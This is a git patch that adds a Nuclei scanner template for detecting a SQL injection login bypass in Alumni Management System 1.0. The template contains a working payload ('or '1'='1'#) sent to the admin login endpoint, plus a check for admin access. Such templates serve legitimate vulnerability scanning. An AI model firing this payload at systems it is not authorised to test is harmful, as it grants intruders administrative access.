From 467d8ecc6abc626f6da1e98e15dd67a26c212b94 Mon Sep 17 00:00:00 2001
From: Arafat Ansari <54571841+arafatansari@users.noreply.github.com>
Date: Thu, 21 Jul 2022 13:16:42 +0530
Subject: [PATCH] Create alumni-sqli.yaml

---
 vulnerabilities/other/alumni-sqli.yaml | 36 ++++++++++++++++++++++++++
 1 file changed, 36 insertions(+)
 create mode 100644 vulnerabilities/other/alumni-sqli.yaml

diff --git a/vulnerabilities/other/alumni-sqli.yaml b/vulnerabilities/other/alumni-sqli.yaml
new file mode 100644
index 0000000000..10cddf4693
--- /dev/null
+++ b/vulnerabilities/other/alumni-sqli.yaml
@@ -0,0 +1,36 @@
+id: alumni-sqli
+
+info:
+  name: Alumni Management System 1.0 - SQLi Authentication Bypass
+  author: arafatansari
+  severity: high
+  description: |
+    Alumni Management System Login page can be bypassed with a simple SQLi to the username parameter.
+  reference:
+    - https://www.exploit-db.com/exploits/48883
+  tags: sqli,bypass,cms
+
+requests:
+  - raw:
+      - |
+        POST /alumni/admin/ajax.php?action=login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username=admin'+or+'1'%3D'1'%23&password=nuclei
+
+      - |
+        GET /alumni/admin/index.php?page=home HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Welcome back Admin!'
+
+      - type: status
+        status:
+          - 200